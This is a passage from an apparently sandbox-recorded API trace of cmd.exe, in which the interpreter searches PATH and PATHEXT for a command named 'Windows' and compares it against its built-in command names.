lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.475] GetLastError () returned 0x2 [0233.476] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.476] GetLastError () returned 0x2 [0233.476] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.476] GetLastError () returned 0x2 [0233.476] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.476] GetLastError () returned 0x2 [0233.476] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.476] GetLastError () returned 0x2 [0233.476] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.477] GetLastError () returned 0x2 [0233.477] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.477] GetLastError () returned 0x2 [0233.477] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.477] GetLastError () returned 0x2 [0233.477] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.477] GetLastError () returned 0x2 [0233.477] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.477] GetLastError () returned 0x2 [0233.477] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.478] GetLastError () returned 0x2 [0233.478] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.478] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.478] GetLastError () returned 0x2 [0233.478] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.478] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0x20b0f92d390 [0233.478] FindClose (in: hFindFile=0x20b0f92d390 | out: hFindFile=0x20b0f92d390) returned 1 [0233.478] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.479] GetLastError () returned 0x2 [0233.479] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.479] GetLastError () returned 0x2 [0233.479] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.479] GetLastError () returned 0x2 [0233.479] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.479] GetLastError () returned 0x2 [0233.479] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.480] GetLastError () returned 0x2 [0233.480] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.480] GetLastError () returned 0x2 [0233.480] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.480] GetLastError () returned 0x2 [0233.480] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.481] GetLastError () returned 0x2 [0233.481] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.481] GetLastError () returned 0x2 [0233.481] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.481] GetLastError () returned 0x2 [0233.481] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.481] GetLastError () returned 0x2 [0233.481] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.482] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.482] GetLastError () returned 0x2 [0233.482] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.482] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.482] GetLastError () returned 0x2 [0233.482] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.482] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.482] GetLastError () returned 0x2 [0233.482] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.483] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.483] GetLastError () returned 0x2 [0233.483] ??_V@YAXPEAX@Z () returned 0x1 [0233.483] GetConsoleTitleW (in: lpConsoleTitle=0x9cb92feb80, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0233.485] malloc (_Size=0xffce) returned 0x20b0fa70920 [0233.485] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0233.485] malloc (_Size=0xffce) returned 0x20b0fa80900 [0233.485] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0233.485] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0233.485] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0233.485] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0233.485] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0233.485] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0233.486] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0233.486] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0233.486] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0233.486] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0233.486] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0233.486] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0233.486] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0233.486] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0233.486] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0233.486] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0233.486] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0233.486] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0233.486] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0233.486] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0233.486] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0233.486] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0233.487] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0233.487] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0233.487] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0233.487] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0233.487] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0233.487] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0233.487] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0233.487] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0233.487] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0233.487] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0233.487] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0233.487] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0233.487] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0233.487] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0233.487] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0233.487] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0233.487] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0233.487] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0233.487] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0233.487] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0233.487] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0233.487] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0233.487] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0233.487] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0233.487] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0233.487] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0233.487] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0233.487] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0233.487] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0233.487] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0233.487] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0233.487] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0233.487] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0233.487] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0233.488] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0233.488] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0233.488] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0233.488] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0233.488] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0233.488] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0233.488] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0233.488] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0233.488] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0233.488] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0233.488] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0233.488] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0233.488] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0233.488] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0233.488] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0233.488] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0233.488] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0233.488] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0233.488] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0233.488] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0233.488] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0233.488] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0233.488] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0233.488] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0233.488] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0233.488] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0233.488] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0233.488] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0233.488] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0233.488] _wcsicmp (_String1="Windows", _String2="FOR") returned 17 [0233.488] _wcsicmp (_String1="Windows", _String2="IF") returned 14 [0233.488] _wcsicmp (_String1="Windows", _String2="REM") returned 5 [0233.488] ??_V@YAXPEAX@Z () returned 0x1 [0233.489] GetProcessHeap () returned 0x20b0f920000 [0233.489] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xffde) returned 0x20b0f957ff0 [0233.489] GetProcessHeap () returned 0x20b0f920000 [0233.489] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xc4) returned 0x20b0f9570a0 [0233.489] _wcsnicmp (_String1="Wind", _String2="cmd ", _MaxCount=0x4) returned 20 [0233.489] malloc (_Size=0xffce) returned 0x20b0fa80900 [0233.489] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0233.490] GetProcessHeap () returned 0x20b0f920000 [0233.490] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f967fe0 [0233.491] SetErrorMode (uMode=0x0) returned 0x0 [0233.491] SetErrorMode (uMode=0x1) returned 0x0 [0233.491] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f967ff0, lpFilePart=0x9cb92fe400 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92fe400*="system32") returned 0x13 [0233.491] SetErrorMode (uMode=0x0) returned 0x1 [0233.491] GetProcessHeap () returned 0x20b0f920000 [0233.491] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f967fe0, Size=0x48) returned 0x20b0f967fe0 [0233.491] GetProcessHeap () returned 0x20b0f920000 [0233.491] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f967fe0) returned 0x48 [0233.491] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0233.491] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0233.491] GetProcessHeap () returned 0x20b0f920000 [0233.491] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f947a50 [0233.491] GetProcessHeap () returned 0x20b0f920000 [0233.491] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f9255e0 [0233.491] GetProcessHeap () returned 0x20b0f920000 [0233.491] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f9255e0, Size=0x1b6) returned 0x20b0f9255e0 [0233.491] GetProcessHeap () returned 0x20b0f920000 [0233.491] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f9255e0) returned 0x1b6 [0233.491] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0233.491] GetProcessHeap () returned 0x20b0f920000 [0233.491] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f947460 [0233.491] GetProcessHeap () returned 0x20b0f920000 [0233.491] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f947460, Size=0x7e) returned 0x20b0f956760 [0233.492] GetProcessHeap () returned 0x20b0f920000 [0233.492] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f956760) returned 0x7e [0233.492] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.492] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0x20b0f92cfd0 [0233.492] FindClose (in: hFindFile=0x20b0f92cfd0 | out: hFindFile=0x20b0f92cfd0) returned 1 [0233.492] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.492] GetLastError () returned 0x2 [0233.492] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.492] GetLastError () returned 0x2 [0233.493] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.493] GetLastError () returned 0x2 [0233.493] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.493] GetLastError () returned 0x2 [0233.493] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.493] GetLastError () returned 0x2 [0233.493] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.493] GetLastError () returned 0x2 [0233.493] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.494] GetLastError () returned 0x2 [0233.494] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.494] GetLastError () returned 0x2 [0233.494] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.494] GetLastError () returned 0x2 [0233.494] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.494] GetLastError () returned 0x2 [0233.494] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.494] GetLastError () returned 0x2 [0233.494] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.495] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.495] GetLastError () returned 0x2 [0233.495] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.495] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0x20b0f92d270 [0233.495] FindClose (in: hFindFile=0x20b0f92d270 | out: hFindFile=0x20b0f92d270) returned 1 [0233.495] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.495] GetLastError () returned 0x2 [0233.495] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.495] GetLastError () returned 0x2 [0233.495] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.496] GetLastError () returned 0x2 [0233.496] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.496] GetLastError () returned 0x2 [0233.496] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.496] GetLastError () returned 0x2 [0233.496] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.496] GetLastError () returned 0x2 [0233.496] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.497] GetLastError () returned 0x2 [0233.497] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.497] GetLastError () returned 0x2 [0233.497] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.497] GetLastError () returned 0x2 [0233.497] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.497] GetLastError () returned 0x2 [0233.497] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.497] GetLastError () returned 0x2 [0233.497] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.497] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.498] GetLastError () returned 0x2 [0233.498] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.498] 